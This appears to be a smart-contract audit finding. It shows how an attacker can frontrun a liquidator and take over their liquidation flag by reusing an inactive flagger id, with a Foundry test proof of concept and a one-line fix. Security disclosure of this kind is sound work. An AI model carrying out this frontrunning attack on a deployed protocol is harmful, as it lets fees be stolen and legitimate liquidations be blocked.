Attackers can hijack a Liquidator's flag during the priority period, leveraging a loophole in the system's design to minimize gas costs.
The system, aiming to conserve gas, stores the id of the flagger instead of their address. Given that it employs a maximum of 2**16 flags, the liquidator has the option to re-use an inactive flaggerId. That option is available when the user was active firstLiquidationTime ago. Since the flagger has to wait for firstLiquidationTimeto perform the (primary) liquidation, a attacker can frontrun the Liquidator to take over their liquidation flag.
function test_FlagShortLiquidateResetFlag() public {
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);
STypes.ShortRecord memory shortRecord =
diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
setETH(2500 ether);
vm.prank(extra);
diamond.flagShort(asset, sender, Constants.SHORT_STARTING_ID, Constants.HEAD);
shortRecord = diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
uint256 flagged = diamond.getOffsetTimeHours();
assertEq(shortRecord.flaggerId, 1);
assertEq(diamond.getFlagger(shortRecord.flaggerId), extra);
setETH(4000 ether);
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);
shortRecord =
diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID + 1);
uint256 timeToSkip = TEN_HRS_PLUS;
skipTimeAndSetEth({skipTime: timeToSkip, ethPrice: 2666 ether});
uint256 timeDiff = diamond.getOffsetTimeHours() - flagged;
assertTrue(
timeDiff > diamond.getAssetStruct(asset).firstLiquidationTime / Constants.TWO_DECIMAL_PLACES &&
timeDiff <= diamond.getAssetStruct(asset).secondLiquidationTime / Constants.TWO_DECIMAL_PLACES
);
setETH(2500 ether);
address attacker = address(666);
vm.prank(attacker);
diamond.flagShort(asset, sender, Constants.SHORT_STARTING_ID + 1, Constants.HEAD);
STypes.ShortRecord memory firstShortRecord = diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID);
assertEq(diamond.getFlagger(firstShortRecord.flaggerId), attacker);
}
An shorter can stop legitimate liquidations or a liquidator can take over liquidations to steal liquidation fees.
function setFlagger(
...
uint256 timeDiff = flaggerToReplace != address(0)
? LibOrders.getOffsetTimeHours()
- s.assetUser[cusd][flaggerToReplace].g_updatedAt
: 0;
//@dev re-use an inactive flaggerId
- if (timeDiff > LibAsset.firstLiquidationTime(cusd)) {
+ if (timeDiff > LibAsset.secondLiquidationTime(cusd)) {
delete s.assetUser[cusd][flaggerToReplace].g_flaggerId;
short.flaggerId = flagStorage.g_flaggerId = flaggerHint;
Now the original liquidator has priority to liquidate the user.